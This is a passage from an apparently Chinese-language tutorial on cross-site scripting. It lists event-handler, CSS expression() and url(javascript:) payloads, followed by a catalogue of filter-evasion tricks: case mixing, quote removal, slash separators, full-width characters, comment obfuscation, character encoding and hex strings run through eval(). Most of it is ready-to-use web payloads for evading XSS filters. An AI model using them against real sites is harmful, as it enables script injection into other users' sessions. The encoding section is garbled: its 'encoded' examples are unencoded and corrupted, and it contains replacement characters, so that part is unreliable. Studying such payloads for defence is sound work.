一.产生自己的事件
现在假设用户不能依靠属性值进行跨站,那么还有没有其他办法了呢?答案是肯定的,我们知道JavaScript与HTML之间的交互是通过事件来实现的,事件就是用户或浏览器自身执行的某个动作,比如click、mouseover、load等,而响应事件的函数也就叫做事件处理函数,看段代码:
<input type="button" value="click me" onclick="alert('click me')"/>
这是一个HTML代码中的事件处理程序,运行这段代码,当点击click me按钮后,会触发onclick事件,然后执行当中的JavaScript代码。事件能够说明用户何时做了某些事情或页面何时加载完毕,我们把事件分为3个不同的类别:
- 用户接口(鼠标、键盘)
- 逻辑(处理的结果)
- 变化(对文档进行修改)
既然事件能让JavaScript代码运行,就意味着用户也能利用它执行跨站脚本。
<img src="#" onerror=alert(/XSS/)>
JavaScript代码理所应当执行了,这里简单说明一下,oneerror是IMG标记的一个事件,只有页面发生错误,该事件立即被激活,在这个实例中,当浏览器解释IMG标记的时候,会加载SRC。测试事件脚本还有很多:
- onresume
- onreverse
- onrowdelete
- onrowinserted
- onseek
- onsynchrestored
二.利用CSS跨站剖析
XSS跨站脚本的另一个载体是CSS样式表,使用CSS样式表执行JavaScript具有隐蔽、灵活多变等特点,但是CSS样式表有一个很大的缺点:各浏览器之间不能通用,甚至可能同一浏览器不同版本之间都不能通用。使用CSS直接执行JavaScript代码的示例如下:
<div style="background-image:url(javascript:alert('xss'))">
<style>
body{background-image:url("javascript:alert('xss')");}
</style>
IE5及以后版本支持在CSS中使用expression,使用expression同样可以触发XSS漏洞。
<div style="width:expression(alert('xss'));">
<img src="#" style="xss:expression(alert(/xss/));">
<style>
body{background-image:expression(alert("xss"));}
</style>
以上的例子使用CSS中的expression执行JavaScript代码,expression用来把css属性和JavaScript表达式关联起来。CSS属性可以是元素固有的属性,也可以是自定义属性,如果CSS属性后面为一段JavaScript表达式,则其值等于JavaScript表达式计算的结果。
三.XSS绕过技巧
利用前面所述的各种技巧,包括HTML标签属性值、事件、CSS、编码技术等,用户能顺利绕过XSS Filter的过滤。程序员在汲取各种经验后,在开发过程中可能已经仔细考虑到各种触发XSS的情况,然后部署好严谨的防御措施,如此一来,系统也变得更加牢固、安全。但是即便是这样我们也有相应的办法可以绕过。一个正常的XSS输入如下:
<img src="javascript:alert(1);">
1.转换大小写
<IMG SRC="javascript:alert(1);">
2.大小写混合的XSS
<iMg sRc="jaVasCript:alert(1);">
3.不用双引号,而是使用单引号的XSS
<img src='javascript:alert(1);'>
4.不使用引号的XSS
<img src=javascript:alert(1);>
抛开正常的XSS测试用例,运用以上的任何一种示例都有可能绕过XSS Filter。
5.使用"/"
<img/src="andrew.png"alt="andrew">
<img.src="javascript:alert('andrew');">
注意这里的img和src属性之间没有空格,而是用"/"隔开,此段代码在IE6中能成功执行。
6.使用全角字符
当利用expression执行跨站代码时,可以构造不同的全角字符来扰乱过滤规则:
<XSS STYLE="xss:expEssion(alert('xss'))">
<div style="{left:expression(alert('xss'))}">
7.使用注释符号/**/
样式表中的"/**/"会被浏览器忽略,因此可以运用/**/来注释字符,通过插入混淆字符绕过过滤,如:
<XSS STYLE="xss:expr/*xss*/ession(alert('xss'))">
<div style="wid/***/th:expre/*xss*/ssion(alert('xss'));">
目前大多数过滤系统都采用黑名单的过滤方式,用户可以结合使用注释字符干扰和欺骗过滤器。
8.字符编码
字符编码在跨站脚本中经常运用到,透过各种技巧,不仅能让XSS代码绕过服务端的过滤,还能更好地隐藏Shellcode。如之前所述,HTML标签中的某些属性值可以使用&#ASCII方式进行编码改写,这种XSS转码支持十进制和十六进制形式。以"<img src="javascript:alert('XSS');">"为例,它的属性值是:javascript:alert('XSS');,进行十进制转码(&#)后得到:
javascript:alert('XSS%);
完整的XSS Expliot如下:
<img src="javascript:alert('XSS%);">
把以上代码保存在一个HTML文档中,使用浏览器打开,脚本代码执行完成。还可以在每个十进制字符后加上";",或者采用�、�、�、�、�、�、�、�等形式,如下所示:
<img src="javascript:alert('XSS%);">
<img src="javascript:alert('XSS%);">
另外在JavaScript中有一个eval()函数,该函数可计算字符串,并执行其中的JavaScript代码,如下所示:
<script>
eval("alert('XSS')");
</script>
我们可以使用\连接十六进制字符串,然后使用eval()函数执行十六进制字符串形式的脚本,如对alert('XSS')进行十六进制转码后得到:
\61\6c\65\72\74\28\27\58\53\53\27\29
那么完整的XSS代码为:
<script>
eval("\x61\x6c\x65\x72\x74\x28\x27\x58\x53\x53\x27\x29");
</script>
这段代码能让浏览器弹出一个XSS对话框。